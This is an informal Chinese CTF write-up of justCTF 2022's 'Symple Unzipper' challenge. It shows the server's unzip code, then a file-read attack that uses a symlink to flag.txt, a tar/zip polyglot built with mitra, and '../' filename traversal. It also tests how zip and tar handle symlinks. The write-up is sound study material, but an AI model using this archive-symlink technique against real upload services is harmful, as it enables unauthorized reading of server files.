justctf2022中一道与软链接有关的有趣的题目

很久(一个月多前打的比赛?) 来复现一下(当时看了一小会就去复习了 555) 记得有个软链接相关的很好玩

(由于懒只复现了一题。。。

justCTF

web

Symple Unzipper

Here yu go symple!!
http://symple-unzipper.web.jctf.pro

HINT: There is a special type of file you will need to craft.

flag在目录文件下 flag.txt 中

很简单的逻辑 就两个功能

一个 extract

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@app.post("/extract", tags=["extract"])
async def extract(file: UploadFile):
"""Extracts the given ZIP and returns a JSON object containing the contents of every file extracted"""
with TemporaryDirectory(dir=UPLOAD_DIR) as tmpdir:
file_to_extract = Path(tmpdir) / file.filename
with open(file_to_extract, "wb") as f:
while True:
data = await file.read(2048)
if not data:
break
f.write(data)
# make sure the file is a valid zip because Python's zipfile doesn't support symlinks (no hacking!)
if not is_zipfile(file_to_extract):
raise HTTPException(status_code=415, detail=f"The input file must be an ZIP archive.")
with TemporaryDirectory(dir=tmpdir) as extract_to_dir:
try:
extract_archive(str(file_to_extract), outdir=extract_to_dir)
except PatoolError as e:
raise HTTPException(status_code=400, detail=f"Error extracting ZIP {file_to_extract.name}: {e!s}")
return read_files(extract_to_dir)

先来分析一下这个 extract

还有一个就是read

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def read_files(directory: Union[str, Path]) -> Dict[str, Union[Optional[str], Dict[str, Any]]]:
"""Recursively crawls the given directory saving the contents of every file to a JSON object

Any files that cannot be represented in UTF-8 are Base64 encoded.

"""
if not isinstance(directory, Path):
directory = Path(directory)
contents: Dict[str, Union[Optional[str], Dict[str, Any]]] = {}
for path in directory.iterdir():
if path.is_dir():
contents[path.name] = read_files(path)
else:
try:
content = path.read_bytes()
try:
contents[path.name] = content.decode("utf-8")
except UnicodeDecodeError:
contents[path.name] = b64encode(content).decode("utf-8")
except IOError:
contents[path.name] = None
return contents
1
curl -F "filename=@file.tar.gz" http://localhost/upload
1
2
3
------WebKitFormBoundaryNS6OqqvPPZcQx8pv
Content-Disposition: form-data; name="file"; filename="../2333.so"
Content-Type: application/x-zip-compressed

我们是不是可以利用这一点来进行读文件?

image-20220611163454559

1
../../../../flag.txt
1
zip -q -r exp.zip ./tmp
1
Content-Disposition: form-data; name="file"; filename="../../../exp.zip"

image-20220611165127230

solution

太久之前了 题目都记不太清了。。。

只记得zip压缩软连接不行

(87条消息) Linux中zip和tar处理软链接的差异与选择_DemonHunter211的博客-CSDN博客

队友找到了这篇文章成为了解题的关键

系那个知道具体原理的话 可以先往下看

现在问题变成如何用 mitra 来构造出一个我们想要的压缩包

python3 mitra-master/mitra.py exp.zip exp.tgz -f

Huli老师的解释

檔案開頭是 tar 的格式,結尾是你包進去的那個 zip,而 is_zipfile 的實作會導致這樣的檔案可以通過(似乎是先檢查 magic byte,找不到會用其他方式判定),因此被判定為是 true,接著就會被底下的 extract_archive 把 tar 解開,然後保留你的 symlink。

linux中zip和tar处理软链接的差异与选择

这才是我们要学习的核心内容

来实践一下

创建软链接

创建软链接的方法

1
ln -s <源文件或目录> <目标文件或目录>

先创俩文件夹 floder1 floder2

image-20220708204456325

floder1中放一个flag文件 在floder2中我们生成软链接

1
ln -s ../floder1/flag readflag

image-20220708204806532

现在我们已经成功创建了指向flag文件的软链接 readflag 接下来便尝试压缩

zip压缩

压缩

1
2
3
godrun@godrun-virtual-machine:~/桌面/test$ zip -r floder2.zip floder2
adding: floder2/ (stored 0%)
adding: floder2/readflag (stored 0%)

解压后 发现变成text了。。。

1
unzip -d ./floder2-unzip floder2.zip

image-20220708205540944

直接使用zip打包,软连接会消失,原来的软链接文件被源文件的内容所代替,相当于原来的软链接变成了硬链接

rar

打包压缩

1
2
3
4
godrun@godrun-virtual-machine:~/桌面/test$ ls
exp.tgz floder1 floder2 floder2-unzip floder2.zip readflag
godrun@godrun-virtual-machine:~/桌面/test$ file readflag
readflag: broken symbolic link to ../floder1/flag

可以看到还是软链接!!!